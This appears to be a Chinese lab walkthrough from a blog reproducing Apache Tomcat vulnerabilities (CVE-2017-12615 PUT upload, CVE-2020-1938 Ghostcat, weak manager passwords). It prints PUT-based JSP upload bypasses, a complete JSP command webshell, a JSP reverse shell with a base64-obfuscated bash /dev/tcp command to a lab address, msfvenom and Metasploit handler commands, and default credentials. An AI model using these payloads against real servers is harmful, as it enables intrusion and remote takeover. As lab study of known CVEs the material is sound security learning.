zoukankan      html  css  js  c++  java
  • Tomcat漏洞复现

    0x01:Tomcat目录结构

    1. 一级目录

    bin ——Tomcat执行脚本目录
    conf ——Tomcat配置文件
    lib ——Tomcat运行需要的库文件(JARS)
    logs ——Tomcat执行时的LOG文件
    temp ——Tomcat临时文件存放目录
    webapps ——Tomcat的主要Web发布目录(存放我们自己的JSP,SERVLET,类)
    work ——Tomcat的工作目录,Tomcat将翻译JSP文件到的Java文件和class文件放在这里。

    2. 二级目录

    (1) bin目录下的文件

     catalina.sh 用于启动和关闭tomcat服务器
     configtest.sh 用于检查配置文件
     startup.sh 启动Tomcat脚本
     shutdown.sh 关闭Tomcat脚本
    

    (2) conf目录下的文件

     server.xml Tomcat的全局配置文件
     web.xml 为不同的Tomcat配置的web应用设置缺省值的文件
     tomcat-users.xml Tomcat用户认证的配置文件
    

    (3) lib目录下的文件

    包含被Tomcat使用的各种各样的jar文件。
    

    (4) logs目录下的文件

     localhost_access_log.2013-09-18.txt 访问日志
     localhost.2013-09-18.log 错误和其它日志
     manager.2013-09-18.log 管理日志
     catalina.2013-09-18.log Tomcat启动或关闭日志文件
    

    (5) webapps目录下的文件

    含Web应用的程序(JSP、Servlet和JavaBean等)

    (6) work目录下的文件

    ​ 由Tomcat自动生成,这是Tomcat放置它运行期间的中间(intermediate)文件(诸如编译的JSP文件)地方。如果当Tomcat运行时,你删除了这个目录那么将不能够执行包含JSP的页面。

    0x02:Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

    1. 漏洞原理

    ​ 该漏洞称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法。

    ​ 漏洞只影响Windows环境,且需要将readonly初始化参数由默认值设置为false,默认配置下无此漏洞,鸡肋漏洞。

    ​ 本次 Apache Tomcat 两个 CVE 漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:

    img

    除了 jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet 处理,其他默认都是由org.apache.catalina.servlets.DefaultServlet 来处理。

    可以看出即使设置 readonly 为 false,默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet 来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。

    这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

    2. 影响版本

    ​ 影响范围:7.0.0 – 7.0.79

    3. 漏洞复现

    image-20210806162526851

    因为该漏洞是将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,我们进入docker查看readonly的值是否为False。

    image-20210806162748196

    我们讲请求方式改成PUT,

    image-20210806163447102

    成功将文件通过PUT方式传输进去

    image-20210806163513308

    我们尝试上传jsp文件。这是不允许的。

    image-20210806163625524

    这个时候就需要绕过了

    3.1 绕过上传jsp

    对于这种情况可以有多种方式绕过

    方法一:Windows下不允许文件以空格结尾
    PUT /x.jsp%20 HTTP/1.1
    

    上传到windows会被自动去掉末尾空格

    方法二:WindowsNTFS流
    PUT /x.jsp::$DATA HTTP/1.1
    
    方法三:文件后面加斜杠(好活)

    /在文件名中是非法的,也会被去除(Linux/Windows)

    PUT /x.jsp/ HTTP/1.1
    

    image-20210806164255539

    成功上传

    image-20210806164316573

    正常访问

    image-20210806164333454

    3.2 上传Webshell

    上传冰蝎的Webshell

    image-20210806213751064

    或者上传一句话木马

    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                    out.println(disr); 
                    disr = dis.readLine(); 
                    }
            }
    %>
    

    image-20210806214151914

    4. 修复方法

    /conf/web.xml将readonly的值修改为true

    0x03:Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

    1. 漏洞原理

    ​ 由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害。

    2. 影响版本

    Apache Tomcat 9.x < 9.0.31
    Apache Tomcat 8.x < 8.5.51
    Apache Tomcat 7.x < 7.0.100
    Apache Tomcat 6.x
    

    3. 漏洞复现

    3.1 读取文件

    通过脚本自动化读取文件,但是该脚本只能读取到webapps/ROOT目录下的文件

    python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.88.133 -p 8009 -f a.txt
    

    image-20210808141127655

    3.2 配合文件上传getshell

    ​ 众所周知,文件包含可以和文件上传配合一起达到getshell的目的,如果系统存在文件上传的功能,获取可以配合起来。我们将反弹shell的脚本放在webapps/ROOT目录下。脚本内容如下,修改反弹shell的语句即可。

    <%
       java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}").getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    %>
    

    放置在webapps/ROOT目录下。

    image-20210808141742873

    执行文件包含的脚本

    image-20210808141937409

    收到反弹的shell

    image-20210808141951303

    3.3 利用metasploit使用获取shell

    msfvenom生成反弹shell的脚本

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.88.133 LPORT=4444 R > shell.txt
    

    复制到webapps/ROOT目录下。

    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.88.133
    msf6 exploit(multi/handler) > set lport 4444
    msf6 exploit(multi/handler) > run 
    

    然后执行文件包含的脚本

    image-20210808153442847

    获取到shell

    image-20210808153403901

    0x04:Tomcat7+ 弱口令 && 后台getshell漏洞

    1. 漏洞原理

    tomcat的后台登录的两个目录为:

    /admin
    /manager/html
    

    如果版本过高,只有采用弱密码的方式进后台;

    有些tomcat采用默认的用户名和密码(用户名:admin,密码:空);

    或者我经常遇到的用户名:tomcat,密码:123456或者各种弱密码

    2. 漏洞复现

    点击manage app,输入tomcat/tomcat登录

    image-20210808143250370

    进入后台

    image-20210808144508330

    接着打个war包,我们将冰蝎的shell.jsp压缩成shell.zip,然后修改后缀变成shell.war,上传war包

    image-20210808153326455

    冰蝎连接成功

    image-20210808153120918

  • 相关阅读:
    快直播-基于WebRTC升级的低延时直播
    在HTML5上开发音视频应用的五种思路
    H.265/HEVC Web端直播播放器内核开发解密
    FFmpeg 命令行和API方式转换rtsp或264成Fragmented MP4
    rtsp流转为fmp4并由WebSocket网关转发,及对应js播放器
    基于FFMPEG封装aac及h264为FargmentMP4
    HTML5 直播协议之 WebSocket 和 MSE fmp4
    wasm + ffmpeg实现前端截取视频帧功能
    es~ElasticsearchTemplate的查询和聚合
    springboot~通过面向接口编程对控制反转IOC的理解
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/15748362.html
Copyright © 2011-2022 走看看